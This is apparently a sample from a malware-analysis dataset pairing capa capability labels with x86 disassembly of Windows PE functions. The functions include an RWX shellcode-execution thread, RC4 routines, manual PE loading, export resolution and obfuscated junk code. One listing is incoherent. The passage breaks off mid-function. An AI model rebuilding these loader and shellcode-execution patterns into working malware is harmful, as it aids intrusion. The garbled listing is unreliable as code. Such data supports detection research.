joyce8/EMBER2024-capa huggingface dataset:
Function at 0x52a7cd
Capabilities:
Parse pe header

Disassembly:
mov eax, esi
pop esi
pop ebp
ret
push esi
push esp
pop esi
push ecx
mov ecx, 0x6ffdbb1c
and ecx, 0x766eb761
sub ecx, 0x666cb2fc
add esi, ecx
pop ecx
sub esi, 4
xchg dword [esp], esi
pop esp
mov dword [esp], esi
pop dword [0x4c5910]
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 0x75b91140
xor eax, 0x7ef7e988
neg eax
push ecx
mov ecx, 0x1fbbf6e9
not ecx
dec ecx
add ecx, 0x7bbb6e71
sub eax, ecx
pop ecx
not eax
xor eax, 0x674e7049
sub ebp, eax
pop eax
push ebp
push dword [esp + 4]
pop ebp
pop dword [esp]
pop esp
mov dword [esp], eax
push ebx
push dword [esp]
mov eax, dword [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
push edx
mov dword [esp], 0x2602e708
mov dword [esp], eax
mov dword [esp], ecx
mov dword [esp], 0x75ff5218
mov dword [esp], eax
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], esi
mov dword [esp], ebx
mov eax, dword [esp]
add esp, 4
mov eax, dword [esp]
sub esp, 4
mov dword [esp], edx
push esp
pop edx
add edx, 4
add edx, 4
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
pop esp
push dword [0x4c5910]
mov eax, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
sub ebx, 0x6fec19a4
add ebx, eax
add ebx, 0x6fec19a4
pop eax
xchg dword [esp], ebx
pop esp
jmp 0x5364d3
cmp word [eax], 0x4550
jmp 0x532841
push ebp
mov dword [esp], 0x307a605b
mov dword [esp], edx
mov edx, 0x7dc91c86
sub eax, edx
pop edx
sub eax, 0x7fea2f99
add eax, esi
add eax, 0x7fea2f99
add eax, 0x7dc91c86
jmp 0x52a7d7
add esi, 0x1000
jmp 0x51aebe
cmp esi, 0x7d000000
jmp 0x53361d
cmp word [esi], 0x5a4d
jmp 0x532836
mov dword [0x4c5bc0], eax
jmp 0x50a919
jne 0x51aeb3
jmp 0x4ece09
je 0x418026
jmp 0x51aeb3
jb 0x55a0eb
jmp 0x41800f
push dword [eax + 0x3c]
mov eax, dword [esp]
push edx
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
mov esp, dword [esp]
jmp 0x50ac71
push ecx
mov dword [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
mov dword [esp], ebx
mov dword [esp], esi
push esi
mov esi, esp
push ecx
mov ecx, 4
add esi, ecx
mov ecx, dword [esp]
add esp, 4
sub esi, 4
xchg dword [esp], esi
mov esp, dword [esp]
mov dword [esp], eax
push 0x74420244
mov dword [esp], ebp
mov dword [esp], ebx
push dword [esp]
pop eax
add esp, 4
push dword [esp]
pop eax
sub esp, 4
mov dword [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
mov esp, dword [esp]
jmp 0x4dbd8d
Function at 0x56e73d
Capabilities:
Encode data using xor

Disassembly:
inc edi
sub esi, ecx
insb byte es:[edi], dx
xchg dword [edx - 0x6c], edi
pushfd
or ecx, dword [edi + 0x42]
inc edi
adc eax, 0x229391d0
and ch, byte [edx + 0x328f0fc0]
fld qword [edi]
and ch, byte [edx + 0x328f0fc0]
fld qword [edi]
popal
dec ebx
push esp
jle 0x56e776
pushfd
mov dl, 0xbc
cli
mov edx, 0xcd4e9919
fdivr dword [edi + edi*4]
adc dword [ecx], ebx
mov ah, 0xa1
in al, 0x87
mov dl, 0xe2
mov eax, dword [0xe2b287e4]
add dh, byte [edi]
jl 0x56e759
xor dword [ecx - 0x5b], esi
ror dword [ecx + edx*4], 1
in al, 0xe4
je 0x56e762
inc edx
pop esp
stc
jb 0x56e7b9
jmp 0x56e72d
salc
dec ebx
xor dword [ecx + 0x69325f8e], edx
sbb edx, dword [edx]
or byte [edx], bl
and bh, ch
invalid
sbb al, 0xe7
pop ss
sbb bl, byte [eax + 0x3c7cc20]
fist word [ebp - 0x30]
pop ss
mov bl, 0x8c
dec ebx
test eax, 0x2b77033c
invalid
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x17e4
call fcn.00401d50
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17d9
lea eax, [ebp - 0x17e0]
mov dword [ebp - 0x17e4], 0
push 0x402108
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 4
push 0x3000
push 0x17d8
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
lea eax, [ebp - 0x17e0]
push 0x17d8
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x17e4]
push eax
push 0x40
push 0x17d8
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401099
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004010aa
mov esp, ebp
pop ebp
ret
Function at 0x1000761d
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x101d3e7c], 0x37a
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.100087f7
lea ecx, [0x10007747]
mov edx, dword [0x101d3e7c]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x78], esi
add edx, 0xffffdcc0
mov dword [0x101d3e7c], edx
mov dword [esp + 0x50], 0x14ac00
mov edx, dword [0x101d3e68]
mov dword [esp + 0x74], edx
mov edx, dword [0x101d3e6c]
mov dword [esp + 0x7c], edx
mov edx, dword [0x101d3e70]
mov dword [esp + 0x4c], edx
mov edx, dword [0x101d3e74]
mov dword [esp + 0x68], edx
mov edx, dword [0x101d3e78]
mov dword [esp + 0x58], edx
mov dword [0x101d3e80], 0x1a2
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x100076c8
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x100076b6
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
jne 0x100076b6
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x70], ecx
mov dword [0x101d3e7c], 0xd16
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x38], esi
mov esi, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.10008689
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x101d3e7c], 0x4fd
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x10007d73
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x101d3e80]
add edi, 0x1064
mov dword [0x101d3e7c], edi
mov dword [0x101d3e88], 0
mov byte [0x101d3e8c], 0
mov dword [0x101d3e80], 0x1215
mov dword [0x101d3e84], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101d3e84]
add eax, 1
mov dword [0x101d3e84], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10007dca
jmp 0x10007e04
mov dword [0x101d3e80], 0x2133
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov dword [0x101d3e7c], 0x1408
mov dword [0x101d3e84], 0
mov ecx, dword [0x101d3e80]
add ecx, 0xffffd9c5
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0xffffdcb5
mov esi, 0x100
mov edi, dword [0x101d3e88]
mov ebx, dword [ebp - 0x18]
movzx ebx, byte [ebx + eax]
add ebx, edi
mov dword [ebp - 0x28], eax
xor edi, edi
mov dword [ebp - 0x2c], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add ebx, edx
mov eax, ebx
cdq
idiv esi
mov dword [0x101d3e88], edx
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x28]
mov bl, byte [esi + ebx]
mov byte [0x101d3e8c], bl
mov dword [0x101d3e80], ecx
mov bl, byte [esi + edx]
mov ecx, dword [ebp - 0x28]
mov byte [esi + ecx], bl
mov edx, dword [0x101d3e7c]
add edx, 0x2328
mov dword [0x101d3e7c], edx
mov bl, byte [0x101d3e8c]
mov edx, dword [0x101d3e88]
mov byte [esi + edx], bl
mov dword [0x101d3e80], 0x2f0
mov edx, dword [0x101d3e84]
add edx, 1
mov dword [0x101d3e84], edx
cmp edx, 0x100
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
jl 0x10007e2c
jmp 0x10007df2
Function at 0x10007ef0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x101d3e84], 0
mov dword [0x101d3e88], 0
mov dword [0x101d3e90], 0
mov dword [0x101d3e7c], 0x1d5a
cmp eax, 0
sete bl
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x1d], bl
mov eax, 0x2c87
xor ecx, ecx
mov edx, 0x1d5a
mov bl, byte [ebp - 0x1d]
test bl, 1
mov esi, ecx
mov edi, ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], eax
jne 0x1000807d
jmp 0x10007f71
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x30]
mov edi, 0x100
add eax, 0xfffff6df
add esi, 1
mov ebx, edx
add ebx, 1
mov dword [ebp - 0x38], eax
mov eax, esi
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x101d3e84], edx
mov esi, dword [ebp - 0x1c]
movzx esi, byte [esi + edx]
add esi, ecx
mov eax, esi
mov dword [ebp - 0x40], edx
cdq
idiv edi
mov dword [0x101d3e88], edx
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x40]
mov cl, byte [ecx + esi]
mov byte [0x101d3e8c], cl
mov edi, dword [ebp - 0x38]
mov dword [0x101d3e7c], edi
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x101d3e80], 0x63b
mov cl, byte [0x101d3e8c]
mov edx, dword [0x101d3e88]
mov byte [edi + edx], cl
mov dword [0x101d3e7c], 0xbac
mov edx, dword [0x101d3e84]
movzx edx, byte [edi + edx]
mov ecx, dword [0x101d3e88]
movzx ecx, byte [edi + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101d3e90], ecx
mov dword [0x101d3e7c], 0x1236
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x3c]
mov dl, byte [edx + esi]
xor dl, byte [edi + ecx]
mov ecx, dword [ebp - 0x18]
mov byte [ecx + esi], dl
mov ecx, dword [ebp - 0x10]
cmp ebx, ecx
mov dword [ebp - 0x44], ebx
jne 0x10008058
mov eax, dword [0x101d3e7c]
add eax, 0xf2d
mov dword [ebp - 0x34], eax
jmp 0x1000807d
mov eax, dword [0x101d3e84]
mov ecx, dword [0x101d3e88]
mov edx, dword [0x101d3e7c]
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], edx
jmp 0x10007f71
mov eax, dword [ebp - 0x34]
mov dword [0x101d3e7c], eax
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100081b5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1000808d
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x100081f1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x101d3e7c], 0xfffff751
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x101d3e80], 0xffffe77b
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x10008252
jmp 0x1000825d
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x34]
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
add eax, ecx
mov dword [ebp - 0x3c], eax
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
jmp 0x10008299
xor eax, eax
mov ecx, dword [ebp - 0x38]
add ecx, 2
mov edx, dword [ebp - 0x48]
add edx, 1
mov esi, dword [ebp - 0x30]
cmp edx, esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edx
jae 0x10008252
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x50], edx
jmp 0x100082c2
mov al, byte [ebp - 0x51]
test al, 1
jne 0x10008239
jmp 0x10008275
mov eax, dword [ebp - 0x50]
mov ecx, eax
mov edx, dword [ebp - 0x4c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x59], bh
mov byte [ebp - 0x51], cl
je 0x100082b5
mov al, byte [ebp - 0x59]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x58]
add edx, 1
mov ah, byte [ebp - 0x51]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x50], edx
jne 0x100082c2
jmp 0x100082b5
Function at 0x10008689
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x101d3e80]
add esi, 0xfffff0b4
mov dword [0x101d3e80], esi
mov dword [0x101d3e7c], 0x13ed
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x100086f3
lea eax, [ebp - 0x24]
mov dword [0x101d3e80], 0x18e3
mov dword [ebp - 0x34], eax
call fcn.10008432
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10008531
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x100087d4
jmp 0x1000871f
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1019897e]
mov dh, byte [eax + 0x1019894f]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
je 0x100086bf
jmp 0x100086f3
mov eax, dword [0x101d3e7c]
mov ecx, dword [ebp - 0x38]
add eax, 0xffffe855
mov dword [0x101d3e7c], eax
mov eax, esp
mov dword [eax + 0xc], 0x40
mov dword [eax + 8], 0x1000
mov dword [eax + 4], 0x6000
mov dword [eax], 0
call ecx
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10007aaa
xor eax, eax
mov dword [0x101d3e80], 0x26a5
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x2c], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x50], ecx
mov esi, dword [0x101d3e80]
add esi, 0x236
mov dword [0x101d3e7c], esi
add ecx, 0x268f
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x100087cb
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x100087f7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x101d3e80], 0x715
mov dword [0x101d3e7c], 0x266c
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x100088fa
lea eax, [0x1019895d]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov esi, dword [0x101d3e7c]
add esi, 0xfffffd55
mov dword [0x101d3e7c], esi
mov dword [0x101d3e80], 0x100b
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x140], ecx
call fcn.10007d73
mov dword [0x101d3e7c], 0x21fb
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov ecx, dword [ebp - 0x144]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x148]
mov dword [esp + 0xc], edx
call fcn.10007ef0
xor eax, eax
mov ecx, dword [ebp - 0x144]
add ecx, 0x524e1
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [edx + 4], 0x14ac00
mov ecx, dword [ebp - 0x144]
add ecx, 0x2cd58
mov dword [edx + 8], ecx
mov dword [0x101d3e80], 0x149a
mov dword [edx + 0xc], 0x2000
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x118
mov edi, edx
add edi, esi
add edi, 0xc0
mov esi, dword [edi]
imul edi, eax, 0x118
add edx, edi
add edx, 0x9c
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x34f
mov ecx, edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x100088fa
xor eax, eax
mov dword [0x101d3e7c], 0x13ed
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
mov cl, byte [eax + 0x1019897e]
mov dl, byte [eax + 0x1019894f]
sub dl, cl
mov byte [ebp + eax - 0x12c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x14c], eax
jne 0x10008965
lea eax, [ebp - 0x12c]
mov dword [0x101d3e80], 0x18e3
mov dword [ebp - 0x150], eax
call fcn.10008432
mov dword [esp], eax
mov eax, dword [ebp - 0x150]
mov dword [esp + 4], eax
call fcn.10008531
mov ecx, eax
mov dword [0x101d3e94], eax
mov eax, esp
mov edx, dword [ebp - 0x148]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x158], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
lea edx, section..data
imul esi, eax, 0x118
mov edi, edx
add edi, esi
add edi, 0xc0
mov esi, dword [edi]
imul edi, eax, 0x118
mov ebx, edx
add ebx, edi
add ebx, 0x88
mov edi, dword [ebx]
imul ebx, eax, 0x118
add edx, ebx
add edx, 0x9c
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x144]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], edx
call fcn.10007cda
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x160]
add eax, ecx
mov edx, dword [ebp - 0x15c]
add edx, 1
cmp edx, 0x34f
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], edx
je 0x10008835
jmp 0x10008a02
Function at 0x401360
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x432410
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x43b040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x2c
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
push 0
push esi
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
call sub.VCRUNTIME140.dll_memset
lea edi, [esi + 0x3c]
add esp, 0xc
lea eax, [edi + 0x10]
mov dword [ebp - 0x10], edi
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov byte [edi], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov ecx, dword [eax + 4]
test ecx, ecx
jns 0x401458
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
lea ecx, [edi + 0x10]
call fcn.00419760
lea eax, [edi + 0x10]
mov dword [eax], 0
xorps xmm0, xmm0
mov dword [edi + 0x2c], 0
mov eax, esi
mov dword [edi + 0x30], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x34], 0
mov dword [esi + 0x80], 0
mov dword [esi + 0x7c], 0
mov dword [esi + 0x84], 0
movups xmmword [esi + 0x74], xmm0
mov dword [esi + 0x84], 0
mov dword [esi + 0x88], 0
mov dword [esi + 0x8c], 0
mov dword [esi + 0x90], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0x98], 0
mov dword [esi + 0x9c], 0
mov dword [esi + 0xa0], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0x30], 0xffffffff
mov dword [esi + 0x2c], 0xffffffff
mov dword [esi + 0x38], 0
mov dword [esi + 0x34], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403be0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x403c41
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x403c24
cmp edi, 2
jb 0x403c24
cmp byte [esi], cl
jne 0x403c24
cmp byte [esi + 1], cl
jne 0x403c24
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x4344e0]
jmp 0x403bf5
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x4344e0]
test edi, edi
jne 0x403bf5
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x403c70
cmp cl, 0x23
jne 0x403c57
cmp byte [esi], cl
jne 0x403c57
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x4344e0]
test cl, cl
jne 0x403c48
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x403d20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x403d33
mov dword [ebx], 0
mov edx, 0x4340d4
call fcn.00403c80
mov esi, eax
test esi, esi
je 0x403e52
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call edi
add esp, 4
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x403e48
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x403e48
push esi
call edi
mov edi, eax
add esp, 4
cmp edi, 0xffffffff
je 0x403e48
push 0
push dword [ebp + 8]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x403e48
mov ecx, edi
call fcn.00406f30
mov dword [ebp + 8], eax
test eax, eax
je 0x403e48
push esi
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, edi
je 0x403e31
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, dword [0x43b490]
add esp, 4
test ecx, ecx
je 0x403e1e
movsx edx, word [ecx + 0x5ee4]
lea eax, [ecx + 0x5ee8]
mov esi, dword [ecx + 0x3f08]
lea eax, [eax + edx*8]
cmp dword [eax], esi
je 0x403e14
lea eax, [edx + 1]
mov edi, 6
cdq
idiv edi
movzx eax, dx
mov word [ecx + 0x5ee4], ax
cwde
add eax, 0xbdd
xor edx, edx
lea eax, [ecx + eax*8]
mov dword [eax], esi
mov dword [eax + 4], edx
inc word [eax + 6]
inc dword [ecx + 0x5ee0]
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
je 0x403e40
mov dword [ebx], edi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x406930
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x43b040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 8]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov esi, 4
mov eax, dword [edi + 0xec]
mov ebx, dword [edi + 0xf4]
mov ebx, dword [ebx + eax*4 - 4]
not ebx
nop dword [eax + eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x4344e0]
sub esi, 1
jne 0x406970
mov eax, dword [edi]
not ebx
cmp dword [eax + 0x3fc4], ebx
